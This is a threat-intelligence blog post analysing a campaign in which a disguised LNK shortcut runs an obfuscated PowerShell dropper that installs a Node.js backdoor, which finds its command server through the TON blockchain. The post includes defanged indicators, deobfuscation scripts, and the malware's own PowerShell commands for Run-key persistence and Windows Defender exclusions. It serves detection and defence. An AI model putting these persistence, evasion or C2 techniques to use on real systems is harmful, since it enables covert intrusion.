Hiding in the Chain: Multi-Stage LNK Attack Leveraging TON Blockchain to Deliver Node.JS Backdoor

The LevelBlue Managed Threat Research team investigated a security alert in a customer environment involving a malicious ZIP file containing a Windows shortcut (.lnk) used for initial execution. When triggered, the LNK file executes a hidden PowerShell command that downloads a legitimate node.exe binary and deploys a NodeJS-based backdoor. The malware also uses the EtherHiding technique, leveraging the TON blockchain to retrieve its command-and-control (C2) address.

In this blog, we break down the execution chain, key behaviors, and the techniques used by the threat actors to evade detection and maintain persistence.

Initial Delivery

The campaign begins with a spam email targeting the hospitality sector using booking themed lures. The email contains a link hosted on Google Share, which is abused by the threat actor to make it look legit and also evade email security filtering.

hxxps[://]share[.]google/YLoRYlokrW3iner8r -> hxxps[://]recordstrace[.]info/5bC6vVOeP9PI3B08 (redirected url)

Initial URL accessed by the victim

After redirection, the victim is prompted to retrieve a ZIP archive containing a malicious LNK file using ClickFix or a direct download link.

Stage 1: LNK Dropper

Figure 1. Contents of the archive file.

The LNK file uses an icon from shell32.dll to make it look like an image file tricking the victim to run it. When executed, the shortcut launches the PowerShell command shown in Figure 2.

The PowerShell command is obfuscated using two large integer (bigint) values. The script subtracts one integer from the other and reconstructs the C2 URL by repeatedly extracting the least significant byte using bitwise AND operation (-band 255 or 0xFF) and shifting the value right by 8 bits (-shr 8).

Figure 2. Command executed in the LNK file.

During the analysis of the campaign, we observed multiple variants with slightly different obfuscations. While the core logic remains the same, some samples replace bitwise operations with arithmetic equivalents, such as modulo and integer division.

Figure 3. Command executed in the LNK file of another variant.

Below is the Python implementation of the deobfuscation routine

Result: recordstrace[.]info

Variant #1 via Bitwise extraction
```python
int_a = 103611123287841270239358680764268378815414
int_b = 65703626018063718555938252096871538628164

int_c = int_a - int_b

result = ""
while int_c:
       result += chr(int_c & 0xFF)
       int_c >>= 8

print(result)
```

Variant #2 via Modulo
```python
int_a = 103611123287841270239358680764268378815414
int_b = 65703626018063718555938252096871538628164
int_c = int_a - int_b

result = ""
while int_c:
       result += chr(int_c % 256)
       int_c //= 256
print(result)
```


Stage 2: PowerShell

The downloaded PowerShell payload performs several post-execution steps to establish its runtime environment and prepare the next stage of the attack chain:

• It first checks if node.exe is installed on the victim machine.

• If Node.js is not installed, the script downloads a legitimate Node.js package from the official distribution site:

https://nodejs.org/dist/v24.13.0/node-v24.13.0-win-x64.zip

The archive is then extracted into the user’s LocalAppData directory.

Figure 4. Downloading of legitimateNode.

• The next stage payload is then decrypted via Base64 and AES-128-CBC decryption.

Figure 5. Decryption of next stage payload.

The resulting payload is a heavily obfuscated JavaScript code that will be executed in the next stage.

Figure 6. Decrypted content using CyberChef.

Figure 7. Decrypted payload.

• The same decryption routine is also applied to reconstruct the C2 address.

• Finally, the malicious payload is executed via the installed or newly deployed Node.js runtime using the following command:

Node.exe <JS payload> <decrypted c2>

Figure 8. Execution of the next-stage payload via node.exe.

Stage 3: NodeJS Backdoor

The JavaScript payload is a heavily obfuscated Node.JS backdoor. To help us with the analysis, we used online tools such as webcrack to deobfuscate the script and recover its original structure. After deobfuscation, we first noticed an array containing 32 Base64-encoded blobs inside the function vmn_c51b70.

Figure 9. VM interpreter function.

After decoding the blobs, we observed several readable strings that provided insight into the malware's functionality. Further analysis revealed that the vmn_c51b70 function acts as a custom bytecode virtual machine (VM) interpreter. Instead of executing JavaScript code directly, the malware interprets encoded bytecode at runtime, making static analysis more difficult and helping the malware evade detection.

Figure 10. Sample decrypted Base64 blob.

At the bottom of the script, the q() function serves as the main entry point and is immediately executed. The function creates an object containing references to several internal variables through JavaScript getters and setters before passing them to the vmn_c51b70 function.

Figure 11. Bottom of the script showing the execution of function q().

Checking for Running NodeJS Instances

One of the malware's functions is to determine whether another instance of the dropped node.exe process is already running. This check helps prevent multiple instances of the backdoor from executing simultaneously.

As shown in the image below, the k() function passes blob 10 to the VM interpreter (vmn_c51b70). It also creates an object containing a getter and setter for the function u() and passes it as part of the execution. Function u() is used to run PowerShell via NodeJS’s execSync and serves as a common wrapper that is also used by other functions.

Figure 12. Function k().

The executed PowerShell command is shown below:

powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"%AppData%\Nodejs\node-v24.13.0-win-x64\node.exe\" }).Count"

This command enumerates running processes and returns the number of instances whose path matches the dropped NodeJS runtime

Persistence

The function D() is responsible for establishing persistence on the infected system. It executes a PowerShell command that creates a new Run Registry key.

The registry value is configured to launch the dropped NodeJS runtime (node.exe) and execute the NodeJS backdoor whenever the user logs in. To reduce visibility, the process is started in a detached state, with its output suppressed and window hidden.

The executed PowerShell command is shown below:

powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['%APPDATA%\{Dropped JS}'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"{Dropped Node.exe}\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"{GUID} \" -Value $command"

Internet Connectivity Check

Function X() is responsible for verifying internet connectivity before the malware proceeds with its execution. Analysis of the corresponding bytecode shows that it attempts to connect to https://google.com to determine whether the infected system has internet access.

Figure 13. Function X().

Figure 14. Decrypted blob 10 passed in function X().

C2 Retriever

The function B() is one of the malware's core components and is responsible for retrieving the C2 URL using the EtherHiding technique that leverages the TON blockchain.

As shown in the figure below, the function passes bytecode blob 13 to the VM interpreter (vmn_c51b70) and exposes the variable V through a getter and setter.

Figure 15. Function B().

Figure 16. Decrypted blob 13 passed in function B().

The variable V is initialized as:

var V = "https://" + (process.env.TONAPI_DOMAIN_PREFIX ?? "") + "tonapi.io";

Using this value, the malware constructs the following URL:

$V/v2/blockchain/accounts/{ACCOUNT ID}/methods/get_domain

where {ACCOUNT ID}is a TON smart contract account ID retrieved from bytecode blob 31.

Figure 17. Decrypted blob 31.

This results in the following URL:

https://tonapi.io/v2/blockchain/accounts/0:c66119f0e5635c4380441d7a79baf0c02a0ab7ea6cd78de06507fc5dc2c1a5d9/methods/get_domain

The request queries the TON blockchain through TONAPI and retrieves data from the specified smart contract. The malware leverages the EtherHiding technique, allowing it to retrieve the C2 URL without embedding it directly into the malware. This adds an additional layer of defense evasion, as the threat actor does not need to embed the C2 URL directly into the malware and allows threat actors to update the C2 address by just updating the smart contract whenever the active C2 domain is blocked or taken down, without modifications to the malware itself.

Figure 18. Retrieval of C2 from Ton blockchain.

Using Tonviewer, we can also see the past transactions of the account, with the most recent update observed on June 2.

Figure 19. Transaction history of the address.

To extract previously used C2 URLs, each transaction can be opened, followed by viewing the transaction details. The msg value can then be decoded from hex to reveal the C2 information.

Figure 20. Decrypted C2 from the transaction history.

Below are the C2 URLs found on the account:

WebSocket C2 Client

After retrieving the C2 URL, the malware establishes a new WebSocket connection using the following format:

wss://<C2>/w?user_id=<guid>

Key Exchange and Session Setup

The malware implements a secure communication channel using an ECDH-based key exchange (secp256k1):

1. The malware generates an ECDH key pair using the secp256k1 curve send public key to server.
2. It sends its public key to the server over the WebSocket channel.
3. The server responds with its own public key along with a salt value.
4. Both compute shared secret using ECDH.
5. Uses HKDF to derive AES-256-CBC key and IV.
   

DownloadAndRun and Remote Code Execution

The malware can download and execute additional payloads, supporting Windows executables as well as PowerShell and JavaScript execution.

Executable Download and Execution

• Downloads a file using fetch(url) and receives raw bytes.

• Checks if the file is a valid Windows PE executable.

• Saves the file to %TEMP% with a random name (e.g., random.exe) using writeFileSync.

• Adds a Windows Defender exclusion for the file path using:

Add-MpPreference -ExclusionProcess "{path}"

• Executes the file using execFile.

PE Validation

The malware checks if the downloaded file is a valid PE executable by looking for the PE signature (50 45 00 00) at offset 0x3C. This ensures the malware only runs valid Windows executables before execution.

Campaign Tracking

Based on the analysis of the LNK file contents, we found similar samples and observed that they use similar filename patterns.

A quick search on VirusTotal revealed recent samples using the following query:

name:photo-*.png.lnk OR name:IMG-*.png.lnk

Figure 21. VirusTotal query for finding similar LNK files.

New samples are being observed daily, indicating that the campaign is active. Recent LNK files also share a common MachineID value (win-5r0dsv23ed0). Over 400 samples have been associated with this identifier, with the earliest submission dating back to March 2026.

Distribution via Public Forums

Earlier samples were also observed being distributed through public forums, where the LNK files were posted as comments by different accounts.

One such example was identified on an economics discussion forum:

Figure 22. Malicious URL posted on a public forum.

Figure 23. Malicious URL posted on a public forum.

Infrastructure

Both C2s used for downloading payloads and those extracted from the TON blockchain are hosted behind Cloudflare

Below are the recent LNK samples and their extracted C2 URLs.

Conclusion

This campaign demonstrates a multi-stage attack chain combining LNK-based execution, PowerShell payload delivery, and a Node.js-based backdoor. It leverages multiple obfuscation layers, including string reconstruction from large integers to retrieve C2 and custom byte-code VM to hinder analysis.

The use of EtherHiding via the TON blockchain for C2 retrieval, along with Cloudflare-protected infrastructure, highlights the actor’s focus on persistence and defense evasion. Additionally, the campaign remains active, with new samples continuously being observed and distributed through multiple channels.